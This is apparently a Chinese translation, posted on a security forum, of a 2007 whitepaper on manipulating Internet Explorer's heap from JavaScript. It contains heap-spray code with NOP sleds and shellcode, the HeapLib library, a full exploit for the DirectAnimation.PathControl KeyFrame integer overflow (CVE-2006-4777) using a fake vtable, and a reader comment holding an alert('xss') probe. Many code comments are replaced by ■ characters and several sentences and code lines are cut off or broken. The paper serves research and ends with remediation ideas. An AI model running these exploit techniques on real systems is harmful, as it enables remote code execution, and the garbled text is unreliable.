JavaScript中的堆漏洞利用

行之 / 2018-03-06 12:20:04 / 浏览数 11896 安全技术 漏洞分析 顶(0) 踩(0)

Introduction

从XP SP2到来起，Windwos堆漏洞的利用变得越来越难。堆保护机制像是safe unlinking和heap
cookies已经成功的让许多通用的堆利用技术失效。当然，存在绕过堆保护的方法，但是这些方法往往要需要控制漏洞程序的分配模式。
本文将会介绍一个新的技术，（+++通过特定的javascript分配序列精确操作浏览器的堆布局+++），我们提供了一个JavaScript的库，里面包含用于在触发堆损坏错误之前

Previous work

最为广泛使用的浏览器堆漏洞利用技术是SkyLined为IE
iframe利用而出现的堆喷射技术。这个方法使用JavaScript创建大量由Nop和shellcode组成的字符串。JavaScript运行的时候会将每一个字符串的数据存储在堆中的新块上。
下面举一个JavaScript代码的例子来说明：

```
var nop = unescape("%9090%u9090");
//■■■■1MB■■■shellcode■NOP■■■■■■
//
// malloc header    string length   NOP slide   shellcode   NULL terminator
//32 bytes      4 bytes     x bytes     y bytes     2 bytes
while(nop.length <= 0x100000/2) nop += nop;
nop = nop.substring(0,0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2)
var x = new Array();
//■NOP■shellcode■■200MB■■■■■
for(var i = 0; i < 200; i++){
   x[i] = nop + shellcode;
}
```

对这项技术进行轻微的改动可以对虚表和对象指针的覆盖进行利用。如果一个对象的指针调用一个虚函数，编辑器生成的代码大致是这样：

```
mov ecx, dword ptr [eax]  ;■■■■■■
push eax                  ;C++■this■■■■■■■■■
call dword ptr[rcx + 08h] ;■■■■■■■■■0x8h■■■
```

每个C++对象的前四个字节都包含一个指向虚表的指针。为了利用一个被覆盖的对象指针，我们需要使用指向一个伪造对象的地址，该对象包含一个伪造的虚表，其中包含了
下面是这一系类的过程：

SkyLined的技术关键在于JavaScript代码可以访问堆系统。本来将进一步讨论这个问题，并且将会探讨如何使用JavaScript代码完全控制堆。

MOVTIVATION

虽然上述的堆喷射技术有着很好的效果，但是单独使用堆喷并不可靠。有两个理由。
在Windwos XP
SP2及以上更早的版本覆盖堆中的数据相比通过破坏malloc内部的数据结构更容易对堆漏洞进行利用，后来因为堆分配器对malloc块头和双链表的空闲块执行附加验证，这使

其中一个例子就是Metasploit框架中的ie_webview_setslice漏洞。它再次出发了一个对漏洞，希望在堆中足够多的垃圾数据能够到使程序跳转执行到一个随机的堆地址中。

第二个问题是利用该漏洞的可靠性和堆喷消耗的系统内存量之间的权衡问题。如果一个EXP用shellcode把浏览器的地址空间完全填充，当然这样任意的跳转都可以使shellco

这篇文章将会演示如何解决这两个问题来使漏洞的利用更加有效可靠。

Internet Explorer heap internals

OVERVIEW

通常情况下，浏览器中经用来破坏利用的堆内存由三个主要的组件所分配。第一个是MSHTML.DLL负责管理当前页面上显示的HTML元素的内存。它在页面的初始化阶段和

管理内存的第二个组件是JavaScript引擎中的JSCRIPT.DLL。除了从默认进程堆分配的字符串之外，新的JavaScript对象的内存是从专用的JavaScript堆中分配的。当总内存消

最后一个组件是在堆漏洞利用中经常引发堆漏洞的ActiveX。某些ActiveX控件使用专用的堆，但大多数还是会在默认进程堆上分配和损坏内存。

值得注意的是Internet
Explorer的三个组件使用相同的默认进程堆。这意味着使用JavaScript分配和释放内存会改变MSHTML和ActiveX控件使用的堆的布局，同样我们可以使用ActiveX控件中的堆

JavaScript strings

JavaScript引擎大部分内存是通过使用MSVCRT
malloc（）和new（）函数来分配，在CRT初始化期间使用专用的堆。一个重要的例外是JavaScript字符串的数据。它们被存储为BSTR字符串，这是COM接口使用的基本字

要在堆上分配一个新的字符串，我们需要创建一个新的JavaScript字符串对象。
我们不能简单地将字符串文字分配给一个新的变量，因为这不会对数据进行拷贝创建新字符串。另一方面，我们可以通过连接两个字符串或使用substr函数来创建，例如：

```
var str1 = "AAAAAAAA"         //[redacted]
var str2 = str1.substr(0,10);  //[redacted]10[redacted]
var str3 = str1 + str2;        //[redacted]20[redacted]
```

BSTR字符串作为包含四字节大小字段的结构存储在内存中，后面跟着字符串数据为16位宽字符，以及一个16位空终止符.上例中的str1字符串在内存中将具有以下表示形式：

我们可以使用以下两个公式来计算一个字符串分配多少个字节，或者一个字符串必须分配多少字节数：

```
bytes - len * 2 + 6
len = (bytes - 6) / 2
[redacted]len =[redacted]bytes-6[redacted]/ 2[redacted]substr [redacted]
//[redacted]
padding = "AAAA"
while(padding.length < MAX_ALLOCATION_LENGTH)
   padding = padding + padding;
//[redacted]
function alloc(bytes){
   return padding.substr(0, (bytes-6)/2);
```

Garbage collection

要操纵浏览器堆布局，只能分配任意大小的内存块是不够的，我们还需要使用某种方法来释放它们。JavaScript运行时使用一个mark-and-sweep垃圾回收器，Eric Lippert博客上的一篇文章有详细描述(http://blogs.msdn.com/ericlippert/archive/2003/09/17/53038.aspx)。

垃圾收集是由各种启发式触发的，例如程序最后运行时创建的对象。mark-and-sweep算法标识JavaScript运行时中的所有未被引用的对象并销毁它们。当一个字符串对象被

为了释放我们分配的其中一个字符串，我们需要运行垃圾回收器删除它的所有引用。幸运的是，我们不必等待一个触发器，因为JavaScript在Internet Explorer中提供了一个CollectGarbage（）函数，该函数会强制垃圾收集器运行。 该函数功能如下代码所示：

```
var str;
//[redacted]
//[redacted]
function alloc_str(bytes){
   str = padding.substr(0, (bytes-6)/2);
}

function free_str(){
   str = null;
   CollectGarbage();
}

alloc_str(0x10000);   //[redacted]
free_str();       //[redacted]
```

上面的代码分配并释放了一个64KB的内存块，说明我们能够执行任意分配和释放默认进程堆。虽然我们只能释放由我们分配的块，但即使有这个限制，在很大程度上我们还

OLEAUT32 MEMORY ALLOCATOR

不幸的是，调用SysAllocString并不总是从系统堆中分配。这个函数是使用一个自定义的内存分配器来分配和释放BSTR字符串的功能是在OLEAUT32的APP_DATA类中实现

高速缓存由4个bin组成，每个bin拥有一定大小范围的6个块。当一个块被APP_DATA ::
FreeCachedMem（）函数释放时，它被存储在一个bin中。如果bin满了，那么在bin中最小的块会通过HeapFree（）释放并被新的块替换。而大于32767字节的块没有被缓

当调用APP_DATA ::
AllocCachedMem（）来分配内存时，它会在适当的大小bin中查找一个空闲块。如果找到足够大的块，它将从缓存中移除并返回给调用者。否则，
该函数将分配新的内存给HeapAlloc（）

内存分配的反编译代码如下所示：

```
//[redacted]
struct CacheEntry
{
   unsigned int size;
   void* ptr;
}
```

```
//■■■■■4■■■■■■■■■■■■■■■■■■6■■
class APP_DATA
{
   CacheEntry bin_1_32      [6];   //■1■32■■■■
   CacheEntry bin_32_64     [6];
   CacheEntry bin_65_256    [6];
   CacheEntry bin_257_32768 [6];

   void* AllocCachedMem(unsigned long size);     //alloc■■
   void FreeCachedMem(void* ptr);              //free■■
};

//■■■■■■■■■■■■
void* APP_DATA::AllocCachedMem(unsigned long size)
{
   CacheEntry* bin;
   int i;

   if(g_fDebNoCache == TRUE0)
       goto system_alloc;     //■■■■■■■■■■HeapAlloc

//■■■■■■■■■■■■■
   if(size > 256)
       bin = &this->bin_257_32768;
   else if(size > 64)
       bin = &this->bin_65_256;
   else if(size > 32)
       bin = &this->bin_33_64;
   else
       bin = &this->bin_1_32;
  //■■■■■■■■■■
   for(i = 0; i < 6; i++)
   {
       if(bin[i].size >= size)
       {
           bin[i].size = 0;
           return bin[i].ptr;
       }
   }
system_alloc:
//■■■■■■■■■■■■■
   return HeapAlloc(GetProcessHeap(), 0, size);
}

//■■■■■■■■■■■■■
void APP_DATA::FreeCachedMem(void* ptr)
{
   CacheEntry* bin;
   CacheEntry* entry;
   usigned int main_size;
   int i;

   if(g_fDebNoCache == True)
       goto system_free;
   //■■■■■■■■■■■■■
   size = HeapSize(GetProcessHeap(), 0, ptr);

   if(size > 32768)
       goto system_free;  //■■HeapFree■■■■■■
   else if(size > 256)
       bin = &this->bin_257_32768;
   else if(size > 64)
       bin = &this->bin_65_256;
   else if(size > 32)
       bin = &this->bin_33_64;
   else
       bin = &this->bin_1_32;
   //■■■■■■■■■■■■■■■■■■■■■
   min_size = size;
```

```
   entry = NULL;

   for(i = 0; i < 6; i++)
{
//■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
       if(bin[i].size == 0)
       {
           bin[i].size = size;
           bin[i].size = ptr;
           return;
       }
//■■■■■■■■■■■■■■■■■■■■■■
       if(bin[i].ptr == ptr)
           return;
//■■■■■■■■■■
       if(bin[i].size < min_size)
       {
           min_size = bin[i].size;
           entry = &bin[i];
       }
   }
   //■■■■■■■■■■■■■■■■■■HeapFree■■■■■■■■■■■■■■■■
   if(min_size < size)
   {
       HeapFree(GetProcessHeap(), 0, entry->ptr);
       entry->size = size;
       entry->ptr = ptr;
       return;
   }
system_free:
//■■■■■■■■■■■■■
   return HeapFree(GetProcessHeap(), 0, ptr);
}
```

APP_DATA内存分配器使用的缓存算法存在一个问题，我们分配和释放内存的操作中只有一些由调用系统分配器实现

Plunger technique

由于高速缓存的每个bin中只能容纳6个block，我们通过为每个bin分配大小最大的6个块，来确保每个字符串分配都来自系统堆。这将确保所有的高速缓存分区都是空的。
那么就可以保证下一个字符串分配会对HeapAlloc（）进行调用。

如果我们释放了我们分配的字符串，该字符串将进入一个高速缓存的bin中。我们可以通过释放我们在上一步中分配的6个块来将它从缓存中清除。FreeCacheMem()函数会

上述的流程实际上可以总结为：我们使用6个块作为plunger，将所有较小的块从缓存中移出，然后我们再次分配6个块将plunger取出。

以下代码是plunger技术的实现：

```
plunger = new Array();
//■■■■■■■■■■■■■■■■■■■■
function flushCache()
{
// ■■plunger■■■■■■■■■■■■■■■■■■
   plunger = null;
   CollectGarbage();
 //■■■■■■■■■■6■■■■■■■■■■■■■
   plunger =new Array();
   for(i = 0; i < 6; i++)
   {
       plunger.push(alloc(32));
       plunger.push(alloc(64));
       plunger.push(alloc(256));
       plunger.push(alloc(32768));
   }
}

flushCache();   //■■■■■■■■■■■■■
alloc_str(0x200);//■■■■■■

free_str();   //■■■■■■■■■■
flushCache();
```

为了使用HeapFree（）把对应块从缓存中移出并释放它，块的大小必须小于它的bin的最大尺寸。否则FreeCachedMem中的min_size <size条件不能被满足，plunger块将被释放。这意味着我们不能释放大小为32,64,256或32768的块，但这个限制的影响并不大。

HeapLib - JavaScript heap manipulation library

我们在一个名为HeapLib的JavaScript库中实现了前一节中描述的方法，它提供了直接映射到系统分配的alloc（）和free（）函数，以及许多更高级别的堆操作例程。

The Hello World of HeapLib

下面是使用HeapLib库的最基本的程序：

```
<script type="text/javascript" src = "heapLib.js"></script>
<script type="text/javascript">
//■Internet Explorer■■■■heapLib■■
   var heap = new heapLib.ie();
//■■■■■■■■■■■■■■■■
   heap.gc();
//■■512■■■■■
   heap.alloc(512);
//■■■■“AAAA”■■■■■■■■■■■■“foo”■■■■
   heap.alloc("AAAAA","foo");
//■■■■■“foo”■■■■
   heap.free("foo")
</script>
```

这个程序分配一个16字节的内存块并将字符串“AAAAA”复制到该块中。用“foo”标记该块并作free（）的参数。free（）函数释放内存里所有标有这个标签的块。

就其对堆的影响而言，这个Hello world程序相当于以下c ++代码：

```
block1 = HeapAlloc(GetProcessHeap(), 0, 512);
block1 = HeapAlloc(GetProcessHeap(), 0, 16);
HeapFree(GetProcessHeap(), 0, block2);
```

Debugging

HeapLib提供了一些函数，可以用来调试库并检查它在堆上的效果。这里有一个简单的例子演示了调试功能：
heap.debug("Hello!"); //输出调试信息
heap.debugHeap(true); //启用堆分配的跟踪调试
heap.alloc(128, "foo");
heao.debugBreak(); //在Windbg中断下
heap.free("foo");
heap.debugHeap(false); //关闭调试

查看调试输出，用WinDbg附加到IEXPLORE.EXE进程并设置以下断点：

第一个断点断在ntdll！RtlAllocateHeap的RET指令。上面的地址对Windows xp
sp2环境下有效，但是对于其他系统可能需要进行调整。断点假设默认进程堆在0x150000上.用WindDbg的uf和！ped命令可以查看这些地址：

设置这些断点后，运行上面的示例代码将在WinDbg中输出调试信息：

我们可以看到alloc（）函数在地址0x1e0b48处分配了0x80字节的内存，之后用free（）函数释放。示例程序还通过调用HeapLib中的debugBreak（）在WinDbg中触发一
acos（）函数，此函数会在WinDbg内触发jscript！JsAcos上的断点。这样我们就可以在继续执行JavaScript之前检查堆的状态。

Utility functions

该库还提供了用于在开发中用来操作数据的函数。下面是使用addr（）和padding（）函数来准备虚表块的例子：

```
for(var i = 0; i < 100; i++)
{
//■100■■■0x0C0C0C0C■■■■■■vtable
   vtable = vtable + heap.addr(0x0C0C0C0C);
}
//■“A”■■■■vtable■■■■■■1008■■
vtable = vtable +heap.padding(1008 -  (vtable.length*2+6)/2);
```

如果想了解更多具体的细节，下一节将对对应函数进行相应描述。

HeapLib reference

Object-oriented interface

HeapLib API被实现为面向对象的接口。要在Internet Explorer中使用API，需要创建heapLib.ie类的实例。

构造函数	描述
HeapLib.ie(maxAlloc,HeapBase)	为Internet Explorer创建一个新的heapLib API对象。maxAlloc参数用设置块大小的最大值，可以使用alloc（）函数来分配。参数：·maxAlloc - 最大的分配大小(字节)（默认是65535）heapBase - 进程堆的默认基地址（默认是0x150000）

下面介绍的所有函数都是heapLib.ie类的实例方法

Debugging

将WinDbg附加到IEXPLORE.EXE进程并设置上述断点输出调试内容。如果调试器不存在，下面的函数不起作用。

函数	描述
debug(msg)	在WinDbg中输出一个调试信息。msg参数必须是字符串。使用字符串连接来构建消息将导 - 字符串输出
debugHeap(enable)	在WinDbg中启用或禁用堆操作的日志记录参数：enable - 一个boolean值，设置为true启用堆记录debugBreak() 在调试器中触发一个断点

Unility functions

函数	描述
padding(len)	返回指定长度的字符串，数量取决于在heapLib.ie构造函数中设置的最大分配大小。字符串 - 字符的长度例子：heap.padding(5) //returns “AAAAA”
round(num, round)	返回一个指定值的整数参数：·num - 范围内整数·round - 取值范围例子：heap.round(210, 16) //returns 224
hex(num, width)	将一个整数转换为十六进制字符串。该函数使用堆.参数：·num - 要转换的整数·（可选）转换后用的位数（不足用0填充）例子：heap.hex(210, 8) /returns “000000D2”
addr(addr)	将32位地址转换为内存中具有相同表示形式的4字节字符串。此函数使用堆。参数：addr - 整数表示的地址例子：heap.addr(0x1523D200) //返回值等价于 //unescap(“%uD200%u1523”)

Memory allocation

函数	描述
alloc(arg,tage)	使用系统内存分配器分配一个指定大小的块。对这个函数的调用相当于调用HeapAlloc（）“字符。如果参数是一个字符串，则它的数据被复制到一个大小为arg.length * 2 + 6的新块中。在这两种情况下，新块的大小必须是16的倍数并且不等于32,64,256或32768参数：·arg - 内存块的大小（以字节为单位），或者一个字符串·（可选）标识内存块的标签例子：heap “foo”) //分配一个用“foo”标识的512字节大小的内存块并被“A”填充heap.alloc(“BBBBB”) //分配一个无标记的16字节大小的内存块，并将“BBBBB”拷贝进去
free(tag)	释放所有使用系统内存分配器分配的带有相应标记的内存块。调用此函数相当于调用Heapl - 标识要释放的块组的标签例子：heap.free(“foo”) //释放所有用“foo”标记的内存块
gc()	运行垃圾收集器并刷新OLEAUT32缓存。在使用alloc（）和free（）之前调用该函数。

Heap manipulation

以下函数用于在Windows 2000，xp和2003中操作内存分配器。Windows Vista中的堆分配器由于存在显着显著差异这些函数不被此系统支持。

函数	描述
freeList(arg,count)	将指定大小的块添加到列表中，确保它们不合并。在调用此函数之前，必须对堆进行碎片整 arg - 以字节为单位的新块的大小，或strdup的一个字符串·count - 需要加进列表的块的数量（默认值是1）例子：heap.freeList(“BBBBB”,5) //向空闲列表中添加5个包含字符串“BBBBB”的块
lookaside()	将指定大小的块添加到lookaside。在调用这个函数之前lookside必须为空。参数：· arg - 以字节为单位的新块的大小，或strdup的一个字符串· count - 添加到lookaside的块的数量（默认为1）例子：Heap.lookaside(“BBBBB”,5) //向lookaside中添加5个包含字符串“BBBBB”的块

lookasideAddr()	为指定大小的块返回后备链表头部的地址。使用heapLib.ie构造函数中的heapBase参数.参 - 以字节为单位的新块的大小，或strdup的一个字符串例子：heap.lookasideAddr(“BBBBB //returns 0x150718
vtable(shellcode,jmpecx,size)	返回一个包含shellcode的虚表。调用者应该将虚表释放到lookaside，并使用lookaside头 vtable必定在ecx中。任何虚函数通对从ecx + 8到ecx + 0x80的虚表调用都会使shellcode执行。这个函数使用堆。参数：·shellcode - shellcode字符串·jmpecx - jmp ecx的地址或同等的指令的地址·size - 生成的虚表的大小例子：heap.vtable(shellcode, 0x4058b5)//生成一个有指针指向shellcode的大小为1008字节的虚表

USing HeapLIb

Defragmenting the heap

一个影响漏洞利用的因素就是堆碎片。如果开始时堆空，我们可以通过计算并确定由特定分配序列产生的堆的状态。不过麻烦的是如果存在堆碎片，那么当我们的exp执行时
这使得堆分配器的行为不可预知。

我们可以通过对堆进行碎片整理来解决这个问题。可以通过分配大量我们的漏洞利用所需的大小的块来完成，这些块将填充堆中的所有可用空间，并确保后续可以从堆的末尾

以下代码将对大小为0x2010字节的块进行碎片整理：

```
for(var i = 0; i < 1000; i++)
heap.alloc(0x2010)
```

Putting blocks on the free list

假设我们有一段从堆中分配一块内存的代码，并在没有初始化的情况下使用它。如果我们可以控制块中的数据，我们就可以利用这个漏洞。我们需要分配一个相同大小的块，

实现以上方法的唯一的障碍是系统内存分配器中的合并算法。如果我们释放的块与另一个空闲块相邻，那么它们将被合并成更大的块，接下来分配的块可能不会包含我们的数

```
heap.alloc(0x2020);      //■■3■■■■■
heap.alloc(0x2020, "freeList");
heap.alloc(0x2020);

heap.free("freeList");     //■■■■■■
`
```

HeapLib库提供了一个方便的函数来实现上述技术。下面的例子展示了如何将x02020字节块添加到空闲列表中：

```
heap.freeList(0x2020);
```

Emptying the lookaside

要清空一个特定大小的lookaside列表，我们只需要分配足够大小的块。通常lookaside不超过4个块，但是我们已经在XP
SP2上看到了更多entry的lookaside。我们将分配100 块，只是用来验证是否是这样。

```
for(var i = 0; i < 100; i++)
Heap.alloc(0x100);
Freeing to the lookaside
■■lookaside■■■■■■■■■■■■■■■■■■■■■lookaside■
//lookaside■■
for(var i = 0; i <100; i++)
   heap.alloc(0x100)
//■■■
heap.alloc(0x100,"foo");
//■■■■lookaside
heap.free("foo");
HeapLib■■lookaside■■■■■■■■■■■■
//lookaside■■
for(var i = 0; i < 100; i++)
   heap.alloc("0x100");
//■lookaside■■■■■■
heap.lookaside(0x100);
```

Using the lookaside for object pointer exploitation

跟踪一个块被送进lookaside上的过程是一件很有趣的事情。让我们从一个空的lookaside列表开始。如果堆的底部是0x150000，那么大小为1008的块的lookaside头的地址
lookaside是空的，这时这个位置将包含一个NULL指针。

现在让我们释放一个1008字节的块。在0x151e58地址处的lookaside头将指向这个释放的块，块的前四个字节将被一个NULL覆盖，表示链表的结束。此时内存中的结构看起

如果我们用0x151e58覆盖一个对象，并释放一个包含假虚表的1008字节块，则通过虚表调用的任何虚函数都会跳转到我们选择的位置。假的虚表可以使用HeapLib库中的v

调用这应该释放虚表到lookaside然后重写lookaside的头指针。这个假虚表的功能设计成用于调用对象指针位于eax和位于虚表地址位于ecx中的虚函数：

```
mov ecx, dword ptr [eax]   ;■■■■■■■■
push eax                    ;C++■this■■■■■■■■■■
call dword ptr [ecx+08h]    ;■■■■■■■■■■0x8■■■■
```

从ecx + 8到ecx + 0x80的任何虚拟函数调用都将导致jmp ecx
指令的执行。由于ecx里存储的是指向vtable的指针，跳转将跳回到block的开始位置。最开始使用的时候它的前四个字节是包含字符串的长度，但是在它被释放到lookaside
[eax]，al指令执行的。执行到达jmp + 124指令，它跳过函数指针并且落在vtable中偏移132的两个sub
[eax]，al指令上。这两条指令修复了先前由sub指令损坏的内存，最后执行shellcode。

Exploiting heap vulnerabilities with HeapLib

DirectAnimation.PathControl KeyFrame vulnerability

作为我们的第一个例子，我们将使用DirectAnimation.PathControl
ActiveX控件（CVE-2006-4777）中的整数溢出漏洞。该漏洞是由创建一个ActiveX对象并调用其第一个参数大于0x7fffff的KeyFrame（）方法触发的。

KeyFrame方法在Microsoft DirectAnimation SDK中记录如下：
KeyFrame Method
指定沿路径的x和y坐标，以及到达每个点的时间。第一个点定义路径的起始点。只有当路径停止时，才能使用或修改此方法

语法：
KeyFrameArray = Array(x1,y1, ..., xN,yN)
TimeFrameArray = Array(time2, ..., timeN)
pathObj.KeyFrame(npoints, KeyFrameArray, TimeFrameArray)

参数：
npoints
用于定义路径的点数
x1,y1, ..., xN,yN
沿着路径标识点的x和y坐标集
time2, ..., timeN
该路径从前一点到达每个相应点所需的时间
KeyFrameArray
包含x和y坐标定义的数组
TimeFramArray
包含定义路径的点之间的时间值的数组，从x1和y1点开始，通过xN和yN点（路径中的最后一组点）。路径从点x1和y1开始，时间值为0。

以下JavaScript代码将触发此漏洞：

```
var target = new ActiveXObject("*DirectAnimation.PathControl");
target.KeyFrame(0x7ffffff,new Array(1■■ new Array(1));
```

Vulnerable code

该漏洞位于DAXCTLE.OCX的CPathCtl :: KeyFrame函数中。 该函数的反编译代码如下所示：

```
long_stdcall CPathCtl::KeyFrame(unsigned int npoints,struct tagVARIANT KeyFrameArray,
                                                     struct tagVARIANT TimeFrameArray)
{
   int err = 0;
   ...
   //new■■■■CMemManager :: AllocBuffer■■■■■■■■■■■■■■■0x2000■■■■■■■■■CMemManager■■■■■■■■■■■■■■■■
   //HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,size+8) + 8
   buf_1      = new((npoints*2)*8);
   buf_2      = new((npoints*2)*8);
   KeyFrameArray.filed_C = new(npoints*4);
   TimeFrameArray.filed_C = new(npoints*4);

   if(buf_1 == NULL || buf_2 == NULL  || KeyFrameArray.field_C == NULL ||
                                                 TimeFrameArray.filed_C == NULL)
   {
       err = E_OUTOFMEMORY;
       goto cleanup;
```

```
   }
   //■■KeyFramArray■■■■npoints * 2■■TimeFrame■■■■npoints-1■■■■■■■■■■■■cleanup■■
   if(KeyFrameArrayAccessor.ToDoubleArray(npoints*2, buf_1) < 0 ||
       TimeFrameArrayAccessor.ToDoubleArray(npoints-1, buf_2) < 0)
   {
       err = E_FALL;
       goto cleanup;
   }
   ...
cleanup:
   if(npoints > 0)
       for(i = 0; i < npoints; i++)
       {

//■■■0■■■npoints■■■KeyFrameArray-> field_C■TimeFrameArray-> field_C■■■■NULL■■■■■■■■
           if(KeyFrameArray.field_C[i] != NULL)
               KeyFrameArray.field_C[i] -> func_8();
           if(TimeFrameArray.filed_C[i] != NULL)
               TimeFrameArray.field_C -> func_8();
       }
    ...
    return err;
}
```

KeyFrame函数将npoints参数乘以16,8和4，并分配四个缓冲区。如果npoints大于0x40000000，则分配大小将wrap
up，函数将分配四个小缓冲区。在我们的EXP中，我们将npoint设置为0x40000801，函数将分配大小为0x8018,0x4008的缓冲区和两个大小为0x200c的缓冲区。我们希望

在分配缓冲区之后，函数调用CSafeArrayOfDoublesAccessor ::
ToDoubleArray（）来初始化数组访问器对象。如果KeyFrameArray的大小小于npoints，ToDoubleArray将返回E_INAVLIDARG。在这种情况下执行的cleanup将遍历两

这些缓冲区被分配了HEAP_ZERO_MEMORY标志，并且只包含指针。然而，代码将从0到npoint（即0x40000801）进行迭代，并且最终将访问超过0x200c字节缓冲区末尾
如果我们控制KeyFrameArray.field_C缓冲区后面的第一个dword，我们就可以使它指向一个指向虚表中的一个指向shellcode的指针。调用func_8（）的虚函数将会执行我

Exploit

要利用这个漏洞，我们需要控制0x200c字节缓冲区之后的四个bytes。首先，我们将用大小为0x2010的块对堆进行碎片整理（内存分配器分配的内存对齐为8，所以0x200c
）。然后我们将再分配两个0x2020字节的内存块，在偏移0x200c处写入假对象指针，并将它们释放到空闲列表中。

当KeyFrame函数分配两个0x200c字节的缓冲区时，内存分配器将重用我们大小为0x2020字节的块，清零第一个0x200c字节。KeyFrame函数末尾的cleanup循环将到0x20

调用虚函数的代码是：

虚拟调用是通过ecx + 8，它将转移到执行IEXPLORE.EXE中的jump
ecx指令。指令跳回到vtable的开始处并且执行shellcode。有关vtable的更多详细信息，请参阅上一个部分。

完整的漏洞利用代码如下所示:

```
//■■ActiveX ■■
var target = new ActiveXObject("DirectAnimation.PathControl");
//■■■HeapLib
var heap = new heapLib.ie();
//shellocde int 3
var shellcode = unescape("%uCCCC");
//IEXPLORE.EXE■jump ecx■■■
var jmpecx = 0x4058b5;
//■■■shellcode■■■■■■■■■■■■
var vtable = heap.vtable(shellcode, jmpecx);
//■■■■vtable■lookaside■■
var fakeObjectPtr = heap.lookasideAddr(vtable);
//■■■■■■■■■■■■■

//len       padding             fake obj pointer    padding null
//4 bytes      0x200C - 4 bytes     4bytes          14 bytes  2bytes
var fakeObjectChunk = heap.padding((0x200c - 4)/2) + heap.addr(fakeObjectPtr) + heap.padding(14/2);

heap.gc();
heap.debugHeap(true);

//■■lookaside
heap.debug("Emptying the lookaside")
```

```
for(var i = 0; i<100; i++)
   heap.alloc(vtable);
//■■■■■lookaside
heap.debug("Putting the vtable on the lookaside")
heap.lookaside(vtable);
//■■■■■■■■■
heap.debug(“Defragmenting the heap with blocks of size 0x2010”)
For(var i = 0; i< 100; i++)
Heap.alloc(0x2010)
■■■■■■■■■■■■■■■■■
heap.debug("Creating two holes of size 0x2020");
heap.freeList(fakeObjChunk,2);
//■■■■
target.KeyFrame(0x40000801, new Array(1), new Array(1));
//cleanup
heap.debugHeap(false);
```

Remediation

本文的这一部分将简要介绍一些保护浏览器免受上述利用技术的思路。

Heap isolation

一个最明显但是不完全有效的保护浏览器的办法就是使用一个专门的堆来存储JavaScript字符串。这个办法只需在OLEAUT32内存分配器中进行一个非常简单的更改，这样会

如果在未来的Windows版本会实现这个保护机制。我们期望研究出通过调用特定的ActiveX方法或者DHTML操作来实现对MSHTML和ActiveX堆的控制的办法。

就安全架构而言，应该将堆布局视为第一类可利用对象，类似于堆栈或堆数据。作为一般的设计原则，不可信任的代码不应给予直接访问由应用程序所使用的堆的权限。

Non-determinism

使内存分配器的分配具有不确定性，是防止堆漏洞利用的一种好方法。如果攻击者无法预测特定堆的分配将在何处发生，那么改变堆状态将变得更加困难。
虽然这个思路不是一个新的想法，但据我们所知，它还没有在任何主流的操作系统上实现。

Conclusion

本文提出的堆操作技术依赖于Internet
Explorer中可以通过执行不可信的JavaSript代码，在系统堆上执行任意分配和释放。这种方法对堆的控制程度已经被证明可以明显提高堆漏洞的利用效果，即使是堆最困难的

对此进一步研究的两个思路是对Windows
Vista的开发，并将相同的技术应用于Firefox，Opera和Safri。我们相信从脚本语言操纵堆的思路也适用于许多其他允许不可信脚本执行的系统.

原文链接：
https://www.blackhat.com/presentations/bh-usa-07/Sotirov/Whitepaper/bh-usa-07-sotirov-WP.pdf

上一篇：智能硬件安全一瞥 下一篇：Windows下Shellcode...
1. 1 条回复


w4ctech 2018-10-11 13:56:11

alert("xss")

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板